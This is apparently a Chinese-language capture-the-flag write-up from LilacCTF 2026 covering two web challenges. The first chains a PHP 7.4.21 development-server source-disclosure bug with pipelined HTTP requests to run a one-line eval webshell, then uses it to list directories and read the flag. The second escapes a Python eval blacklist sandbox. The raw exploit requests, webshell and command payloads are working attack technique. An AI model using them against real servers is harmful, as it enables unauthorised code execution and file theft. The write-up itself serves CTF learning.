LilacCTF 2026

web

keep

考察内容为PHP 7.4.21 Development Server源码泄露漏洞
常见利用方法为泄露源码,这里第一步也是如此,poc如下

1
2
3
4
5
GET /index.php HTTP/1.1
Host: 61.147.171.35:49192

GET /1.txt HTTP/1.1


拿到源码

1
2
3
4
5
6
<?php
@error_reporting(~E_ALL);

echo "Hello World!" . PHP_EOL;

// s3Cr37_f1L3.php.bak

然后根据提示,访问/s3Cr37_f1L3.php.bak

1
2
3
<?php

@eval($_POST["admin"]);

但是并不存在s3Cr37_f1L3.php文件,所以需要想办法让s3Cr37_f1L3.php.bak文件按php文件解析,这也可以利用上面的漏洞,本质上是发两个包,第一个为实际访问的文件也就是s3Cr37_f1L3.php.bak,第二个用来控制为我们想让他解析的形式,这里任意放一个xxx.php即可让s3Cr37_f1L3.php.bak按照php文件解析,poc如下

注意关闭burp的自动更新Content-Length,以及手动更新下面传post数据的Content-Length

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /s3Cr37_f1L3.php.bak HTTP/1.1
Host: 61.147.171.35:49192

POST /1.php HTTP/1.1
Host: 61.147.171.35:49192
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

admin=system('ls /');


同理拿flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /s3Cr37_f1L3.php.bak HTTP/1.1
Host: 61.147.171.35:49192

POST /1.php HTTP/1.1
Host: 61.147.171.35:49192
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

admin=system('cat /flag_a26c4e10654d13e7');

CheckIn

扫目录得到backup.zip,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#Python 3.14.2
import re
from collections import UserList
from sys import argv

class LockedList(UserList):
def __setitem__(self, key, value):
raise Exception("Assignment blocked!")

def sandbox():
if len(argv) != 2:
print("ERROR: Missing code")
return

try:
status = LockedList([False])
status_id = id(status)
user_input = argv[1].encode('idna').decode('ascii').rstrip('-')

if re.search(r'[0-9A-Z]', user_input):
print("FORBIDDEN: No numbers or alphas")
return

if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
print("FORBIDDEN: Incorrect symbol detected")
return

if re.search(r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)', user_input.casefold()):
print("FORBIDDEN: Keywords detected")
return

if len(user_input) > 60:
print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
return

eval(user_input)

if status[0] and id(status) == status_id:
with open('/flag', 'r') as f:
flag = f.read().strip()
print(f"SUCCESS! Flag: {flag}")
else:
print(f"FAILURE: status is still {status}")

except Exception as e:
print(f"Don't be evil~ And I won't show you this error :)")

if __name__ == '__main__':
sandbox()

代码分析
目标: 最终的 if 语句 if status[0] and id(status) == status_id: 是我们的目标。我们需要让 status[0] 变为 True,同时保持 status 对象的 ID 不变(意味着不能重新给 status 变量赋值)。
LockedList: 这个自定义列表类禁用了 __setitem__ 方法,所以任何直接赋值操作,如 status[0] = True,都会抛出异常。
eval(user_input): 这是漏洞的核心。脚本会执行我们通过命令行传入的字符串。
黑名单和限制:
字符限制: 不允许使用数字(0-9)、大写字母(A-Z)。
符号限制: 一大堆常用符号被禁止了,例如 _, , =, +, [, ], ,, " 等。但是,(、)、. 和 ~ 是允许的。
关键字限制: 一个很长的关键字列表被禁止了(不区分大小写),其中最关键的是 status、eval、exec、import、locals、globals 等。
长度限制: 输入不能超过60个字符。

一开始的想法是利用Unicode字符绕过
statυs.data.append(bool(~statυs.data.pop()))
但是仔细看了一下代码才发现编码在黑名单之前,所以肯定不行
后面发现可以利用vars获取当前局部符号表的字典,然后再通过min和dir的配合找到status即可
vars().get(min(dir())).append(~vars().get(min(dir())).pop())
成功拿到flag